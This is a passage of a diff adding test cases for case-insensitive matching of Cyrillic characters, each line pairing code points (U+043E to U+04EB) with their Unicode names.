+test(0x043E, 0x041E, 0x1C82); // CYRILLIC SMALL LETTER O, CYRILLIC CAPITAL LETTER O, CYRILLIC SMALL LETTER NARROW O
+test(0x043F, 0x041F); // CYRILLIC SMALL LETTER PE, CYRILLIC CAPITAL LETTER PE
+test(0x0440, 0x0420); // CYRILLIC SMALL LETTER ER, CYRILLIC CAPITAL LETTER ER
+test(0x0441, 0x0421, 0x1C83); // CYRILLIC SMALL LETTER ES, CYRILLIC CAPITAL LETTER ES, CYRILLIC SMALL LETTER WIDE ES
+test(0x0442, 0x0422, 0x1C84, 0x1C85); // CYRILLIC SMALL LETTER TE, CYRILLIC CAPITAL LETTER TE, CYRILLIC SMALL LETTER TALL TE, CYRILLIC SMALL LETTER THREE-LEGGED TE
+test(0x0443, 0x0423); // CYRILLIC SMALL LETTER U, CYRILLIC CAPITAL LETTER U
+test(0x0444, 0x0424); // CYRILLIC SMALL LETTER EF, CYRILLIC CAPITAL LETTER EF
+test(0x0445, 0x0425); // CYRILLIC SMALL LETTER HA (CYRILLIC SMALL LETTER KHA), CYRILLIC CAPITAL LETTER HA (CYRILLIC CAPITAL LETTER KHA)
+test(0x0446, 0x0426); // CYRILLIC SMALL LETTER TSE, CYRILLIC CAPITAL LETTER TSE
+test(0x0447, 0x0427); // CYRILLIC SMALL LETTER CHE, CYRILLIC CAPITAL LETTER CHE
+test(0x0448, 0x0428); // CYRILLIC SMALL LETTER SHA, CYRILLIC CAPITAL LETTER SHA
+test(0x0449, 0x0429); // CYRILLIC SMALL LETTER SHCHA, CYRILLIC CAPITAL LETTER SHCHA
+test(0x044A, 0x042A, 0x1C86); // CYRILLIC SMALL LETTER HARD SIGN, CYRILLIC CAPITAL LETTER HARD SIGN, CYRILLIC SMALL LETTER TALL HARD SIGN
+test(0x044B, 0x042B); // CYRILLIC SMALL LETTER YERU (CYRILLIC SMALL LETTER YERI), CYRILLIC CAPITAL LETTER YERU (CYRILLIC CAPITAL LETTER YERI)
+test(0x044C, 0x042C); // CYRILLIC SMALL LETTER SOFT SIGN, CYRILLIC CAPITAL LETTER SOFT SIGN
+test(0x044D, 0x042D); // CYRILLIC SMALL LETTER E (CYRILLIC SMALL LETTER REVERSED E), CYRILLIC CAPITAL LETTER E (CYRILLIC CAPITAL LETTER REVERSED E)
+test(0x044E, 0x042E); // CYRILLIC SMALL LETTER YU (CYRILLIC SMALL LETTER IU), CYRILLIC CAPITAL LETTER YU (CYRILLIC CAPITAL LETTER IU)
+test(0x044F, 0x042F); // CYRILLIC SMALL LETTER YA (CYRILLIC SMALL LETTER IA), CYRILLIC CAPITAL LETTER YA (CYRILLIC CAPITAL LETTER IA)
+test(0x0450, 0x0400); // CYRILLIC SMALL LETTER IE WITH GRAVE, CYRILLIC CAPITAL LETTER IE WITH GRAVE
+test(0x0451, 0x0401); // CYRILLIC SMALL LETTER IO, CYRILLIC CAPITAL LETTER IO
+test(0x0452, 0x0402); // CYRILLIC SMALL LETTER DJE, CYRILLIC CAPITAL LETTER DJE
+test(0x0453, 0x0403); // CYRILLIC SMALL LETTER GJE, CYRILLIC CAPITAL LETTER GJE
+test(0x0454, 0x0404); // CYRILLIC SMALL LETTER UKRAINIAN IE (CYRILLIC SMALL LETTER E), CYRILLIC CAPITAL LETTER UKRAINIAN IE (CYRILLIC CAPITAL LETTER E)
+test(0x0455, 0x0405); // CYRILLIC SMALL LETTER DZE, CYRILLIC CAPITAL LETTER DZE
+test(0x0456, 0x0406); // CYRILLIC SMALL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC SMALL LETTER I), CYRILLIC CAPITAL LETTER BYELORUSSIAN-UKRAINIAN I (CYRILLIC CAPITAL LETTER I)
+test(0x0457, 0x0407); // CYRILLIC SMALL LETTER YI, CYRILLIC CAPITAL LETTER YI
+test(0x0458, 0x0408); // CYRILLIC SMALL LETTER JE, CYRILLIC CAPITAL LETTER JE
+test(0x0459, 0x0409); // CYRILLIC SMALL LETTER LJE, CYRILLIC CAPITAL LETTER LJE
+test(0x045A, 0x040A); // CYRILLIC SMALL LETTER NJE, CYRILLIC CAPITAL LETTER NJE
+test(0x045B, 0x040B); // CYRILLIC SMALL LETTER TSHE, CYRILLIC CAPITAL LETTER TSHE
+test(0x045C, 0x040C); // CYRILLIC SMALL LETTER KJE, CYRILLIC CAPITAL LETTER KJE
+test(0x045D, 0x040D); // CYRILLIC SMALL LETTER I WITH GRAVE, CYRILLIC CAPITAL LETTER I WITH GRAVE
+test(0x045E, 0x040E); // CYRILLIC SMALL LETTER SHORT U, CYRILLIC CAPITAL LETTER SHORT U
+test(0x045F, 0x040F); // CYRILLIC SMALL LETTER DZHE, CYRILLIC CAPITAL LETTER DZHE
+test(0x0460, 0x0461); // CYRILLIC CAPITAL LETTER OMEGA, CYRILLIC SMALL LETTER OMEGA
+test(0x0461, 0x0460); // CYRILLIC SMALL LETTER OMEGA, CYRILLIC CAPITAL LETTER OMEGA
+test(0x0462, 0x0463, 0x1C87); // CYRILLIC CAPITAL LETTER YAT, CYRILLIC SMALL LETTER YAT, CYRILLIC SMALL LETTER TALL YAT
+test(0x0463, 0x0462, 0x1C87); // CYRILLIC SMALL LETTER YAT, CYRILLIC CAPITAL LETTER YAT, CYRILLIC SMALL LETTER TALL YAT
+test(0x0464, 0x0465); // CYRILLIC CAPITAL LETTER IOTIFIED E, CYRILLIC SMALL LETTER IOTIFIED E
+test(0x0465, 0x0464); // CYRILLIC SMALL LETTER IOTIFIED E, CYRILLIC CAPITAL LETTER IOTIFIED E
+test(0x0466, 0x0467); // CYRILLIC CAPITAL LETTER LITTLE YUS, CYRILLIC SMALL LETTER LITTLE YUS
+test(0x0467, 0x0466); // CYRILLIC SMALL LETTER LITTLE YUS, CYRILLIC CAPITAL LETTER LITTLE YUS
+test(0x0468, 0x0469); // CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS, CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS
+test(0x0469, 0x0468); // CYRILLIC SMALL LETTER IOTIFIED LITTLE YUS, CYRILLIC CAPITAL LETTER IOTIFIED LITTLE YUS
+test(0x046A, 0x046B); // CYRILLIC CAPITAL LETTER BIG YUS, CYRILLIC SMALL LETTER BIG YUS
+test(0x046B, 0x046A); // CYRILLIC SMALL LETTER BIG YUS, CYRILLIC CAPITAL LETTER BIG YUS
+test(0x046C, 0x046D); // CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS, CYRILLIC SMALL LETTER IOTIFIED BIG YUS
+test(0x046D, 0x046C); // CYRILLIC SMALL LETTER IOTIFIED BIG YUS, CYRILLIC CAPITAL LETTER IOTIFIED BIG YUS
+test(0x046E, 0x046F); // CYRILLIC CAPITAL LETTER KSI, CYRILLIC SMALL LETTER KSI
+test(0x046F, 0x046E); // CYRILLIC SMALL LETTER KSI, CYRILLIC CAPITAL LETTER KSI
+test(0x0470, 0x0471); // CYRILLIC CAPITAL LETTER PSI, CYRILLIC SMALL LETTER PSI
+test(0x0471, 0x0470); // CYRILLIC SMALL LETTER PSI, CYRILLIC CAPITAL LETTER PSI
+test(0x0472, 0x0473); // CYRILLIC CAPITAL LETTER FITA, CYRILLIC SMALL LETTER FITA
+test(0x0473, 0x0472); // CYRILLIC SMALL LETTER FITA, CYRILLIC CAPITAL LETTER FITA
+test(0x0474, 0x0475); // CYRILLIC CAPITAL LETTER IZHITSA, CYRILLIC SMALL LETTER IZHITSA
+test(0x0475, 0x0474); // CYRILLIC SMALL LETTER IZHITSA, CYRILLIC CAPITAL LETTER IZHITSA
+test(0x0476, 0x0477); // CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE), CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE)
+test(0x0477, 0x0476); // CYRILLIC SMALL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC SMALL LETTER IZHITSA DOUBLE GRAVE), CYRILLIC CAPITAL LETTER IZHITSA WITH DOUBLE GRAVE ACCENT (CYRILLIC CAPITAL LETTER IZHITSA DOUBLE GRAVE)
+test(0x0478, 0x0479); // CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH), CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH)
+test(0x0479, 0x0478); // CYRILLIC SMALL LETTER UK (CYRILLIC SMALL LETTER UK DIGRAPH), CYRILLIC CAPITAL LETTER UK (CYRILLIC CAPITAL LETTER UK DIGRAPH)
+test(0x047A, 0x047B); // CYRILLIC CAPITAL LETTER ROUND OMEGA, CYRILLIC SMALL LETTER ROUND OMEGA
+test(0x047B, 0x047A); // CYRILLIC SMALL LETTER ROUND OMEGA, CYRILLIC CAPITAL LETTER ROUND OMEGA
+test(0x047C, 0x047D); // CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO), CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO)
+test(0x047D, 0x047C); // CYRILLIC SMALL LETTER OMEGA WITH TITLO (CYRILLIC SMALL LETTER OMEGA TITLO), CYRILLIC CAPITAL LETTER OMEGA WITH TITLO (CYRILLIC CAPITAL LETTER OMEGA TITLO)
+test(0x047E, 0x047F); // CYRILLIC CAPITAL LETTER OT, CYRILLIC SMALL LETTER OT
+test(0x047F, 0x047E); // CYRILLIC SMALL LETTER OT, CYRILLIC CAPITAL LETTER OT
+test(0x0480, 0x0481); // CYRILLIC CAPITAL LETTER KOPPA, CYRILLIC SMALL LETTER KOPPA
+test(0x0481, 0x0480); // CYRILLIC SMALL LETTER KOPPA, CYRILLIC CAPITAL LETTER KOPPA
+test(0x048A, 0x048B); // CYRILLIC CAPITAL LETTER SHORT I WITH TAIL, CYRILLIC SMALL LETTER SHORT I WITH TAIL
+test(0x048B, 0x048A); // CYRILLIC SMALL LETTER SHORT I WITH TAIL, CYRILLIC CAPITAL LETTER SHORT I WITH TAIL
+test(0x048C, 0x048D); // CYRILLIC CAPITAL LETTER SEMISOFT SIGN, CYRILLIC SMALL LETTER SEMISOFT SIGN
+test(0x048D, 0x048C); // CYRILLIC SMALL LETTER SEMISOFT SIGN, CYRILLIC CAPITAL LETTER SEMISOFT SIGN
+test(0x048E, 0x048F); // CYRILLIC CAPITAL LETTER ER WITH TICK, CYRILLIC SMALL LETTER ER WITH TICK
+test(0x048F, 0x048E); // CYRILLIC SMALL LETTER ER WITH TICK, CYRILLIC CAPITAL LETTER ER WITH TICK
+test(0x0490, 0x0491); // CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN), CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN)
+test(0x0491, 0x0490); // CYRILLIC SMALL LETTER GHE WITH UPTURN (CYRILLIC SMALL LETTER GE WITH UPTURN), CYRILLIC CAPITAL LETTER GHE WITH UPTURN (CYRILLIC CAPITAL LETTER GE WITH UPTURN)
+test(0x0492, 0x0493); // CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR), CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR)
+test(0x0493, 0x0492); // CYRILLIC SMALL LETTER GHE WITH STROKE (CYRILLIC SMALL LETTER GE BAR), CYRILLIC CAPITAL LETTER GHE WITH STROKE (CYRILLIC CAPITAL LETTER GE BAR)
+test(0x0494, 0x0495); // CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK), CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK)
+test(0x0495, 0x0494); // CYRILLIC SMALL LETTER GHE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER GE HOOK), CYRILLIC CAPITAL LETTER GHE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER GE HOOK)
+test(0x0496, 0x0497); // CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER)
+test(0x0497, 0x0496); // CYRILLIC SMALL LETTER ZHE WITH DESCENDER (CYRILLIC SMALL LETTER ZHE WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER ZHE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZHE WITH RIGHT DESCENDER)
+test(0x0498, 0x0499); // CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA), CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA)
+test(0x0499, 0x0498); // CYRILLIC SMALL LETTER ZE WITH DESCENDER (CYRILLIC SMALL LETTER ZE CEDILLA), CYRILLIC CAPITAL LETTER ZE WITH DESCENDER (CYRILLIC CAPITAL LETTER ZE CEDILLA)
+test(0x049A, 0x049B); // CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER)
+test(0x049B, 0x049A); // CYRILLIC SMALL LETTER KA WITH DESCENDER (CYRILLIC SMALL LETTER KA WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER KA WITH DESCENDER (CYRILLIC CAPITAL LETTER KA WITH RIGHT DESCENDER)
+test(0x049C, 0x049D); // CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR), CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR)
+test(0x049D, 0x049C); // CYRILLIC SMALL LETTER KA WITH VERTICAL STROKE (CYRILLIC SMALL LETTER KA VERTICAL BAR), CYRILLIC CAPITAL LETTER KA WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER KA VERTICAL BAR)
+test(0x049E, 0x049F); // CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR), CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR)
+test(0x049F, 0x049E); // CYRILLIC SMALL LETTER KA WITH STROKE (CYRILLIC SMALL LETTER KA BAR), CYRILLIC CAPITAL LETTER KA WITH STROKE (CYRILLIC CAPITAL LETTER KA BAR)
+test(0x04A0, 0x04A1); // CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA), CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA)
+test(0x04A1, 0x04A0); // CYRILLIC SMALL LETTER BASHKIR KA (CYRILLIC SMALL LETTER REVERSED GE KA), CYRILLIC CAPITAL LETTER BASHKIR KA (CYRILLIC CAPITAL LETTER REVERSED GE KA)
+test(0x04A2, 0x04A3); // CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER)
+test(0x04A3, 0x04A2); // CYRILLIC SMALL LETTER EN WITH DESCENDER (CYRILLIC SMALL LETTER EN WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER EN WITH DESCENDER (CYRILLIC CAPITAL LETTER EN WITH RIGHT DESCENDER)
+test(0x04A4, 0x04A5); // CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE), CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE)
+test(0x04A5, 0x04A4); // CYRILLIC SMALL LIGATURE EN GHE (CYRILLIC SMALL LETTER EN GE), CYRILLIC CAPITAL LIGATURE EN GHE (CYRILLIC CAPITAL LETTER EN GE)
+test(0x04A6, 0x04A7); // CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK), CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK)
+test(0x04A7, 0x04A6); // CYRILLIC SMALL LETTER PE WITH MIDDLE HOOK (CYRILLIC SMALL LETTER PE HOOK), CYRILLIC CAPITAL LETTER PE WITH MIDDLE HOOK (CYRILLIC CAPITAL LETTER PE HOOK)
+test(0x04A8, 0x04A9); // CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK), CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK)
+test(0x04A9, 0x04A8); // CYRILLIC SMALL LETTER ABKHASIAN HA (CYRILLIC SMALL LETTER O HOOK), CYRILLIC CAPITAL LETTER ABKHASIAN HA (CYRILLIC CAPITAL LETTER O HOOK)
+test(0x04AA, 0x04AB); // CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA), CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA)
+test(0x04AB, 0x04AA); // CYRILLIC SMALL LETTER ES WITH DESCENDER (CYRILLIC SMALL LETTER ES CEDILLA), CYRILLIC CAPITAL LETTER ES WITH DESCENDER (CYRILLIC CAPITAL LETTER ES CEDILLA)
+test(0x04AC, 0x04AD); // CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER)
+test(0x04AD, 0x04AC); // CYRILLIC SMALL LETTER TE WITH DESCENDER (CYRILLIC SMALL LETTER TE WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER TE WITH DESCENDER (CYRILLIC CAPITAL LETTER TE WITH RIGHT DESCENDER)
+test(0x04AE, 0x04AF); // CYRILLIC CAPITAL LETTER STRAIGHT U, CYRILLIC SMALL LETTER STRAIGHT U
+test(0x04AF, 0x04AE); // CYRILLIC SMALL LETTER STRAIGHT U, CYRILLIC CAPITAL LETTER STRAIGHT U
+test(0x04B0, 0x04B1); // CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR), CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR)
+test(0x04B1, 0x04B0); // CYRILLIC SMALL LETTER STRAIGHT U WITH STROKE (CYRILLIC SMALL LETTER STRAIGHT U BAR), CYRILLIC CAPITAL LETTER STRAIGHT U WITH STROKE (CYRILLIC CAPITAL LETTER STRAIGHT U BAR)
+test(0x04B2, 0x04B3); // CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER)
+test(0x04B3, 0x04B2); // CYRILLIC SMALL LETTER HA WITH DESCENDER (CYRILLIC SMALL LETTER KHA WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER HA WITH DESCENDER (CYRILLIC CAPITAL LETTER KHA WITH RIGHT DESCENDER)
+test(0x04B4, 0x04B5); // CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE), CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE)
+test(0x04B5, 0x04B4); // CYRILLIC SMALL LIGATURE TE TSE (CYRILLIC SMALL LETTER TE TSE), CYRILLIC CAPITAL LIGATURE TE TSE (CYRILLIC CAPITAL LETTER TE TSE)
+test(0x04B6, 0x04B7); // CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER), CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER)
+test(0x04B7, 0x04B6); // CYRILLIC SMALL LETTER CHE WITH DESCENDER (CYRILLIC SMALL LETTER CHE WITH RIGHT DESCENDER), CYRILLIC CAPITAL LETTER CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER CHE WITH RIGHT DESCENDER)
+test(0x04B8, 0x04B9); // CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR), CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR)
+test(0x04B9, 0x04B8); // CYRILLIC SMALL LETTER CHE WITH VERTICAL STROKE (CYRILLIC SMALL LETTER CHE VERTICAL BAR), CYRILLIC CAPITAL LETTER CHE WITH VERTICAL STROKE (CYRILLIC CAPITAL LETTER CHE VERTICAL BAR)
+test(0x04BA, 0x04BB); // CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H), CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H)
+test(0x04BB, 0x04BA); // CYRILLIC SMALL LETTER SHHA (CYRILLIC SMALL LETTER H), CYRILLIC CAPITAL LETTER SHHA (CYRILLIC CAPITAL LETTER H)
+test(0x04BC, 0x04BD); // CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK), CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK)
+test(0x04BD, 0x04BC); // CYRILLIC SMALL LETTER ABKHASIAN CHE (CYRILLIC SMALL LETTER IE HOOK), CYRILLIC CAPITAL LETTER ABKHASIAN CHE (CYRILLIC CAPITAL LETTER IE HOOK)
+test(0x04BE, 0x04BF); // CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK), CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK)
+test(0x04BF, 0x04BE); // CYRILLIC SMALL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC SMALL LETTER IE HOOK OGONEK), CYRILLIC CAPITAL LETTER ABKHASIAN CHE WITH DESCENDER (CYRILLIC CAPITAL LETTER IE HOOK OGONEK)
+test(0x04C0, 0x04CF); // CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I), CYRILLIC SMALL LETTER PALOCHKA
+test(0x04C1, 0x04C2); // CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE), CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE)
+test(0x04C2, 0x04C1); // CYRILLIC SMALL LETTER ZHE WITH BREVE (CYRILLIC SMALL LETTER SHORT ZHE), CYRILLIC CAPITAL LETTER ZHE WITH BREVE (CYRILLIC CAPITAL LETTER SHORT ZHE)
+test(0x04C3, 0x04C4); // CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK), CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK)
+test(0x04C4, 0x04C3); // CYRILLIC SMALL LETTER KA WITH HOOK (CYRILLIC SMALL LETTER KA HOOK), CYRILLIC CAPITAL LETTER KA WITH HOOK (CYRILLIC CAPITAL LETTER KA HOOK)
+test(0x04C5, 0x04C6); // CYRILLIC CAPITAL LETTER EL WITH TAIL, CYRILLIC SMALL LETTER EL WITH TAIL
+test(0x04C6, 0x04C5); // CYRILLIC SMALL LETTER EL WITH TAIL, CYRILLIC CAPITAL LETTER EL WITH TAIL
+test(0x04C7, 0x04C8); // CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK), CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK)
+test(0x04C8, 0x04C7); // CYRILLIC SMALL LETTER EN WITH HOOK (CYRILLIC SMALL LETTER EN HOOK), CYRILLIC CAPITAL LETTER EN WITH HOOK (CYRILLIC CAPITAL LETTER EN HOOK)
+test(0x04C9, 0x04CA); // CYRILLIC CAPITAL LETTER EN WITH TAIL, CYRILLIC SMALL LETTER EN WITH TAIL
+test(0x04CA, 0x04C9); // CYRILLIC SMALL LETTER EN WITH TAIL, CYRILLIC CAPITAL LETTER EN WITH TAIL
+test(0x04CB, 0x04CC); // CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER), CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER)
+test(0x04CC, 0x04CB); // CYRILLIC SMALL LETTER KHAKASSIAN CHE (CYRILLIC SMALL LETTER CHE WITH LEFT DESCENDER), CYRILLIC CAPITAL LETTER KHAKASSIAN CHE (CYRILLIC CAPITAL LETTER CHE WITH LEFT DESCENDER)
+test(0x04CD, 0x04CE); // CYRILLIC CAPITAL LETTER EM WITH TAIL, CYRILLIC SMALL LETTER EM WITH TAIL
+test(0x04CE, 0x04CD); // CYRILLIC SMALL LETTER EM WITH TAIL, CYRILLIC CAPITAL LETTER EM WITH TAIL
+test(0x04CF, 0x04C0); // CYRILLIC SMALL LETTER PALOCHKA, CYRILLIC LETTER PALOCHKA (CYRILLIC LETTER I)
+test(0x04D0, 0x04D1); // CYRILLIC CAPITAL LETTER A WITH BREVE, CYRILLIC SMALL LETTER A WITH BREVE
+test(0x04D1, 0x04D0); // CYRILLIC SMALL LETTER A WITH BREVE, CYRILLIC CAPITAL LETTER A WITH BREVE
+test(0x04D2, 0x04D3); // CYRILLIC CAPITAL LETTER A WITH DIAERESIS, CYRILLIC SMALL LETTER A WITH DIAERESIS
+test(0x04D3, 0x04D2); // CYRILLIC SMALL LETTER A WITH DIAERESIS, CYRILLIC CAPITAL LETTER A WITH DIAERESIS
+test(0x04D4, 0x04D5); // CYRILLIC CAPITAL LIGATURE A IE, CYRILLIC SMALL LIGATURE A IE
+test(0x04D5, 0x04D4); // CYRILLIC SMALL LIGATURE A IE, CYRILLIC CAPITAL LIGATURE A IE
+test(0x04D6, 0x04D7); // CYRILLIC CAPITAL LETTER IE WITH BREVE, CYRILLIC SMALL LETTER IE WITH BREVE
+test(0x04D7, 0x04D6); // CYRILLIC SMALL LETTER IE WITH BREVE, CYRILLIC CAPITAL LETTER IE WITH BREVE
+test(0x04D8, 0x04D9); // CYRILLIC CAPITAL LETTER SCHWA, CYRILLIC SMALL LETTER SCHWA
+test(0x04D9, 0x04D8); // CYRILLIC SMALL LETTER SCHWA, CYRILLIC CAPITAL LETTER SCHWA
+test(0x04DA, 0x04DB); // CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS, CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS
+test(0x04DB, 0x04DA); // CYRILLIC SMALL LETTER SCHWA WITH DIAERESIS, CYRILLIC CAPITAL LETTER SCHWA WITH DIAERESIS
+test(0x04DC, 0x04DD); // CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS, CYRILLIC SMALL LETTER ZHE WITH DIAERESIS
+test(0x04DD, 0x04DC); // CYRILLIC SMALL LETTER ZHE WITH DIAERESIS, CYRILLIC CAPITAL LETTER ZHE WITH DIAERESIS
+test(0x04DE, 0x04DF); // CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS, CYRILLIC SMALL LETTER ZE WITH DIAERESIS
+test(0x04DF, 0x04DE); // CYRILLIC SMALL LETTER ZE WITH DIAERESIS, CYRILLIC CAPITAL LETTER ZE WITH DIAERESIS
+test(0x04E0, 0x04E1); // CYRILLIC CAPITAL LETTER ABKHASIAN DZE, CYRILLIC SMALL LETTER ABKHASIAN DZE
+test(0x04E1, 0x04E0); // CYRILLIC SMALL LETTER ABKHASIAN DZE, CYRILLIC CAPITAL LETTER ABKHASIAN DZE
+test(0x04E2, 0x04E3); // CYRILLIC CAPITAL LETTER I WITH MACRON, CYRILLIC SMALL LETTER I WITH MACRON
+test(0x04E3, 0x04E2); // CYRILLIC SMALL LETTER I WITH MACRON, CYRILLIC CAPITAL LETTER I WITH MACRON
+test(0x04E4, 0x04E5); // CYRILLIC CAPITAL LETTER I WITH DIAERESIS, CYRILLIC SMALL LETTER I WITH DIAERESIS
+test(0x04E5, 0x04E4); // CYRILLIC SMALL LETTER I WITH DIAERESIS, CYRILLIC CAPITAL LETTER I WITH DIAERESIS
+test(0x04E6, 0x04E7); // CYRILLIC CAPITAL LETTER O WITH DIAERESIS, CYRILLIC SMALL LETTER O WITH DIAERESIS
+test(0x04E7, 0x04E6); // CYRILLIC SMALL LETTER O WITH DIAERESIS, CYRILLIC CAPITAL LETTER O WITH DIAERESIS
+test(0x04E8, 0x04E9); // CYRILLIC CAPITAL LETTER BARRED O, CYRILLIC SMALL LETTER BARRED O
+test(0x04E9, 0x04E8); // CYRILLIC SMALL LETTER BARRED O, CYRILLIC CAPITAL LETTER BARRED O
+test(0x04EA, 0x04EB); // CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS, CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS
+test(0x04EB, 0x04EA); // CYRILLIC SMALL LETTER BARRED O WITH DIAERESIS, CYRILLIC CAPITAL LETTER BARRED O WITH DIAERESIS
